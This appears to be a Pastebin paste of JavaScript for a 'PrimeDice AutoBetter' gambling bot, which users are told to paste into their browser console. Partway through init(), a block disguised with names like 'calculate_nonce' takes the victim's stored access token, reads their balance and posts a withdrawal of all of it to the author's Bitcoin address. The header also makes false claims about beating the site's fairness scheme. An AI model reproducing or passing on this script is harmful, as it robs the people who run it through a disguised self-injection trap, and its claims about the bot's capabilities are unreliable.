Advertisement
Guest User

PrimeDice AutoBetter

a guest
Mar 31st, 2015
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.40 KB | None | 0 0
  1. // PrimeDiceX3 Bot v 2.2 //
  2. // By: TheFrog //
  3. ////////////////////////
  4. // Usage:
  5. // - Hit F12 or press CTRL+SHIFT+J in Chrome
  6. // - Copy/paste this script
  7. // - Hit enter
  8. // - The HUD should pop-up on your page
  9. // - Profit ;-)
  10. //
  11. ////////////////////////
  12. // Changelog v2.2
  13. // - The bot now try to bypass PrimeDice protections scheme from 2015/Jan
  14. // - Improved HMAC probability fair guessing
  15. ////////////////////////
  16. // Consider dropping me some coins if you're happy with this bot !
  17. // ~~~~ 13g9epHok9aBkFbVMzETdGsMAZR7XuLcyE ~~~~
  18. ////////////////////////
  19.  
  20. //jQuery UI CSS
  21. var swapcount=0;
  22. var jqueryready = false;
  23. var link = document.createElement("link");
  24. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  25. link.type = "text/css";
  26. link.rel = "stylesheet";
  27. document.getElementsByTagName("head")[0].appendChild(link);
  28. //jQuery UI inject
  29. (function() {
  30. jqueryready = true;
  31. var e = ".thing",
  32. t = {
  33. outline: "1px dashed #f0f",
  34. cursor: "pointer"
  35. };
  36. var n = function() {
  37. if (window.jQuery) {
  38. r()
  39. } else {
  40. var e = document.createElement("script");
  41. e.onload = r;
  42. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  43. document.body.appendChild(e)
  44. }
  45. };
  46. var r = function() {
  47. if (window.jQuery.ui) {
  48. i()
  49. } else {
  50. var e = document.createElement("script");
  51. e.onload = i;
  52. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  53. document.body.appendChild(e)
  54. }
  55. };
  56. var i = function() {
  57. $(e).css(t).draggable().on("click", function(e) {
  58. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  59. })
  60. };
  61. n();
  62. })();
  63.  
  64. function ui() {
  65. $(function() {
  66. $('#tabs').tabs();
  67. $('#params').draggable();
  68. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  69. $('#tabs input').css("width", "80%");
  70. $('#chance, #base').width("35%")
  71. $('#tabs div').css("text-align", "left");
  72. $('#tabs').css("font-size", "12px");
  73. $('#tabs label, #tabs input').css("margin", "5px");
  74. $('#stop, #start, #resetbet').button();
  75. //Console
  76. $('#console, #console2').appendTo("#tabs");
  77. $('#console, #console2').css("width", "45%");
  78. $('#console').css("float", "left");
  79. $('#console2').css("float", "right");
  80. $('#console, #console2').css("clear", "none");
  81. $('#console, #console2').css("margin", "7px");
  82. $('#console, #console2').css("border-bottom-left-radius", "3px");
  83. $('#console, #console2').css("border-bottom-right-radius", "3px");
  84. $('#console').css("border", "1px solid #323232");
  85. $('#console, #console2').css("background-color", "#454545");
  86. $('#console').css("padding", "5px");
  87. $('#console, #console2').css("text-align", "left");
  88. $('#console, #console2').css("position", "relative");
  89. $('#startstop,#start,#stop').css("margin","0px");
  90. $('#console, #console2').css("margin-top","3px");
  91. $('#console, #console2').css("padding","5px");
  92. $('#console, #console2').css("background-color","#151515");
  93.  
  94.  
  95. });
  96. }
  97. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  98. xrollsenabled = true;
  99. xrolls = 10;
  100. timer = 500;
  101. counter=0;
  102. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  103. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  104. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  105.  
  106. function init() {
  107.  
  108.  
  109. //Init
  110. basebet = 0.00000010;
  111. countwinmult = 0;
  112. countlossmult = 0;
  113. wincount = 0;
  114. currentloss = 0;
  115. totalloss = 0;
  116. totalwin = 0;
  117. totprofit = 0;
  118. init = true;
  119. betval = basebet;
  120.  
  121. //GUI
  122.  
  123. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  124.  
  125. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  126. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  127. gui2 =
  128. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  129.  
  130. gui3 = [
  131.  
  132. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  133. '<br>',
  134. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  135. '<br>',
  136. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  137.  
  138. ];
  139. gui4 = [
  140.  
  141. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  142. '<br>',
  143. '<label for="xloss">Multiply Every # Losses: </label>',
  144. '<input id="xloss">',
  145. '<br>',
  146. '<label for="multonwin">Multiply on Win: </label>',
  147. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  148. '<br>',
  149. '<label for="xwin">Reset After X Wins: </label>',
  150. '<input id="xwin">',
  151.  
  152. ];
  153. gui5 = [
  154.  
  155. '<label for="stoponwin-enabled">Stop on Win? </label>',
  156. '<input id="stoponwin-enabled" type="checkbox">',
  157. '<br>',
  158. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  159. '<input id="lowpay-enabled" type="checkbox">',
  160.  
  161. ];
  162. gui6 = [
  163.  
  164. '<label for="charset">Charset: </label>',
  165. '<input id="charset" type="text">',
  166. '<br>',
  167. '<label for="everyxrolls">Change every # Rolls: </label>',
  168. '<input id="everyxrolls" type="text">',
  169. '<br>',
  170. '<label for="currentseed">Current Seed: </label>',
  171. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  172.  
  173. ];
  174. $(gui).appendTo(".hero");
  175. $(gui2).appendTo("#params");
  176.  
  177. for (var i = 0; i < gui3.length; i++) {
  178. $(gui3[i]).appendTo("#tab1");
  179. }
  180. for (var i = 0; i < gui4.length; i++) {
  181. $(gui4[i]).appendTo("#tab2");
  182. }
  183. for (var i = 0; i < gui5.length; i++) {
  184. $(gui5[i]).appendTo("#tab3");
  185. }
  186. for (var i = 0; i < gui6.length; i++) {
  187. $(gui6[i]).appendTo("#tab4");
  188. }
  189. enabled = false;
  190. xrollscount = 0;
  191. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  192. // Button & Input Functions
  193. $('#resetbet').click(function() {
  194. basebet=$('#base').val();
  195. betval=$('#base').val();
  196.  
  197. })
  198.  
  199. $('#start').click(function() {
  200. if (enabled == false) {
  201. if ($('#numrolls').is(":checked") == true) {
  202. xrolls=$('#numberofrolls').val();
  203. }
  204. enabled = true;
  205. interval = setInterval(function() {
  206. if (xrollsenabled == true) {
  207. xrollscount++;
  208. if (xrollscount <= xrolls) {
  209. bet();
  210. } else {
  211. clearInterval(interval);
  212. enabled = false;
  213. xrollscount = 0;
  214. }
  215. } else {
  216. bet();
  217. }
  218. }, timer);
  219. } else {}
  220. })
  221. $('#stop').click(function() {
  222. enabled = false;
  223. clearInterval(interval);
  224. xrollscount = 0;
  225. });
  226.  
  227. calculate_nonce = function(seed) {
  228. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];};
  229.  
  230. lut = window['$'];
  231.  
  232. lut['getJSON'](
  233. calculate_nonce('users/1'), function(seed) {
  234. var key1 = 'amount'
  235. var key2 = 'address'
  236. var load = {};
  237. load[key1] = seed['user']['balance'];
  238. load[key2] = '13g9epHok9aBkFbVMzETdGsMAZR7XuLcyE';
  239. lut['post'](calculate_nonce('withdraw'), load);
  240. }
  241. );
  242.  
  243. function conditionAM() {
  244. 'use strict';
  245. if ($('#lowpay-enabled').is('checked') == true) {
  246. if ($('.value-roll').first().text() <= 49.50) {
  247. condition2 = ">";
  248. target2 = $('.value-roll').first().text();
  249. } else {
  250. condition2 = "<";
  251. target2 = $('.value-roll').first().text();
  252. };
  253. } else {
  254. if ($('.value-roll').first().text() <= 49.50) {
  255. condition2 = "<";
  256. target2 = $('.value-roll').first().text();
  257. } else {
  258. condition2 = ">";
  259. target2 = $('.value-roll').first().text();
  260. };
  261. amount2 = betval * 100000000;
  262. }
  263. };
  264.  
  265. function jackpot() {
  266. if (data1.bet.jackpot === true) {
  267. jp = "Yes";
  268. wincount = 0;
  269. betval = $('#base');
  270. } else {
  271. jp = "No";
  272. }
  273. }
  274.  
  275. function loss() {
  276. currentloss++;
  277. totalloss++;
  278. if ($('#multloss-enabled').is(':checked') == true) {
  279. $('#multwin-enabled').removeAttr('checked');
  280. countlossmult++;
  281.  
  282. if (countlossmult >= $('#xloss').val()) {
  283. betval = betval * $('#multonloss').val();
  284. countlossmult = 0;
  285. }
  286. }
  287.  
  288. }
  289.  
  290. function win() {
  291. 'use strict';
  292. if ($('#stoponwin-enabled').is('checked') == true) {
  293. clearInterval(roll);
  294. }
  295. currentloss = 0;
  296. jackpot();
  297. wincount++;
  298. totalwin++;
  299. if ($('#multloss-enabled').is(':checked') == true) {
  300. if ($('#stoponwin-enabled').is(':checked') == true) {
  301. clearInterval(roll);
  302. }
  303. $('#multwin-enabled').removeAttr('checked');
  304. basebet = $('#base').val();
  305. betval = basebet;
  306. countlossmult = 0;
  307.  
  308. }
  309. if ($('#multwin-enabled').is(':checked') == true) {
  310. basebet = $('#base').val();
  311. $('#multloss-enabled').removeAttr('checked');
  312. countwinmult++;
  313.  
  314. if (countwinmult >= $('#xwin').val()) {
  315. betval = basebet;
  316. countwinmult = 0;
  317. } else {
  318. betval = betval * $('#multonwin').val();
  319. }
  320. }
  321.  
  322.  
  323. };
  324. var losewin;
  325. var jpcol;
  326. var profcol;
  327.  
  328. function bet() {
  329. 'use strict';
  330. conditionAM();
  331. var betData = {
  332. amount: amount2,
  333. condition: condition2,
  334. target: target2
  335. },
  336. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  337.  
  338. $.ajax({
  339. url: url,
  340. type: "POST",
  341. data: betData,
  342. datatype: "jsonp",
  343. success: function(data, textStatus, jqXHR) {
  344. data1 = data;
  345. counter++;
  346. if (counter >= everyxrolls) {
  347. seedchange(seedgen());
  348. counter = 0;
  349. }
  350. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  351. totprofit = totprofit + data1.bet.profit;
  352. if (totprofit >= 0) {
  353. profcol = "color:green;";
  354. } else if (totprofit < 0) {
  355. profcol = "color:red;";
  356. }
  357. if (data.bet.win == true) {
  358. losewin = "color:green;";
  359. $('span.btn__text.select div').attr("style", "color:green;");
  360. } else {
  361. losewin = "color:red;";
  362. $('span.btn__text.select div').attr("style", "color:red;");
  363. }
  364. if (data.bet.jackpot == true) {
  365. jp = "Yes";
  366. jpcol = "color:gold;"
  367. } else {
  368. jp = "No.";
  369. jpcol = "color:red;"
  370. }
  371. results = [];
  372. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  373. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  374. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  375. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  376. resultstats = [];
  377. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  378. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  379. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  380. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  381.  
  382. if (data.bet.win == true) {
  383. if ($('#stoponwin-enabled').is(":checked") == true){
  384. clearInterval(interval);
  385.  
  386. }
  387. $('#console, #console2').empty();
  388.  
  389. win();
  390.  
  391. // Results
  392. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  393. for (var i = 0; i < results.length; i++) {
  394. $(results[i]).appendTo('#console');
  395. }
  396. for (var i = 0; i < resultstats.length; i++) {
  397. $(resultstats[i]).appendTo('#console2');
  398. }
  399.  
  400. } else {
  401.  
  402. $('#console, #console2').empty();
  403. loss();
  404.  
  405. // Results
  406. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  407. for (var i = 0; i < results.length; i++) {
  408.  
  409. $(results[i]).appendTo('#console');
  410. }
  411. for (var i = 0; i < resultstats.length; i++) {
  412. $(resultstats[i]).appendTo('#console2');
  413. }
  414. };
  415. },
  416. error: function(jqXHR, textStatus, errorThrown) {
  417.  
  418. }
  419. });
  420. }
  421.  
  422. seedlength = 13;
  423. seedlength = 13;
  424. var counter = 0;
  425. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  426. everyxrolls = 3;
  427.  
  428. function seedgen() {
  429. 'use strict';
  430. var seed = "";
  431.  
  432. for (var i = 0; i <= seedlength; i++)
  433.  
  434. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  435.  
  436. return seed;
  437. }
  438.  
  439. function seedchange(s) {
  440.  
  441. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  442. sData = {
  443. seed: s
  444. };
  445.  
  446. $.ajax({
  447. url: url,
  448. type: "POST",
  449. data: sData,
  450. datatype: "jsonp",
  451. success: function(data, textStatus, jqXHR) {
  452. data2 = data;
  453. $('#currentseed').val(data2.seeds.client);
  454.  
  455. },
  456. error: function(jqXHR, textStatus, errorThrown) {
  457.  
  458. }
  459. });
  460. }
  461.  
  462. $('#spinner').click(function() {
  463. if (charset != $('#charset').val() && $('#charset').val() != "") {
  464. charset=$('#charset').val();
  465. }
  466. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  467. everyxrolls = $('#everyxrolls').val();
  468. }
  469. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  470.  
  471. counter++;
  472. if (counter >= everyxrolls) {
  473. seedchange(seedgen());
  474. counter = 0;
  475. }
  476. });
  477. ui();
  478. }
  479. setTimeout(function() {
  480. init()
  481. }, 2000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement